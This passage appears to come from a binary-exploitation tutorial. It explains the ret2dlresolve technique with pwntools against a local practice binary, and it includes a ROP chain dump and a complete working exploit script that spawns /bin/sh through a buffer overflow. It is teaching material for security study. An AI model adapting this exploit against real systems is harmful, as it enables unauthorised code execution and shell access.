pwntools contains a fancy Ret2dlresolvePayload that can automate the majority of our exploit:
# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetp.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures in
Let's use rop.dump() to break down what's happening.
[DEBUG] PLT 0x8049030 read
[DEBUG] PLT 0x8049040 __libc_start_main
[DEBUG] Symtab: 0x804820c
[DEBUG] Strtab: 0x804825c
[DEBUG] Versym: 0x80482a6
[DEBUG] Jmprel: 0x80482d8
[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00
[DEBUG] Version index addr: 0x8048c26
[DEBUG] Data addr: 0x804ce00
[DEBUG] PLT_INIT: 0x8049020
[*] 0x0000: b'AAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[...]
0x004c: 0x8049030 read(0, 0x804ce00)
0x0050: 0x804921a <adjust @0x5c> pop edi; pop ebp; ret
0x0054: 0x0 arg0
0x0058: 0x804ce00 arg1
0x005c: 0x8049020 [plt_init] system(0x804ce24)
0x0060: 0x4b44 [dlresolve index]
0x0064: b'zaab' <return address>
0x0068: 0x804ce24 arg0
As we expected - it's a read followed by a call to plt_init with the parameter 0x0804ce24. Our fake structures are being read in at 0x804ce00. The logging at the top tells us where all the structures are placed.
[DEBUG] ElfSym addr: 0x804ce0c
[DEBUG] ElfRel addr: 0x804ce1c
[DEBUG] Symbol name addr: 0x804ce00
Now we know where the fake structures are placed. Since I ran the script with the DEBUG parameter, I'll check what gets sent.
system is being written to 0x804ce00 - as the debug said the Symbol name addr would be placed
After that, at 0x804ce0c, the Elf32_Sym struct starts. First it contains the table index of that string, which in this case is 0x4ba4 as it is a very long way off the actual table. Next it contains the other values on the struct, but they are irrelevant and so zeroed out.
At 0x804ce1c that Elf32_Rel struct starts; first it contains the address of the system string, 0x0804ce00, then the r_info variable - if you remember this specifies the R_SYM, which is used to link the SYMTAB and the STRTAB.
After all the structures we place the string /bin/sh at 0x804ce24 - which, if you remember, was the argument passed to system when we printed the rop.dump():
0x005c: 0x8049020 [plt_init] system(0x804ce24)
Final Exploit
from pwn import*elf = context.binary =ELF('./vuln', checksec=False)p = elf.process()rop =ROP(elf)# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetlog.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures inp.interactive()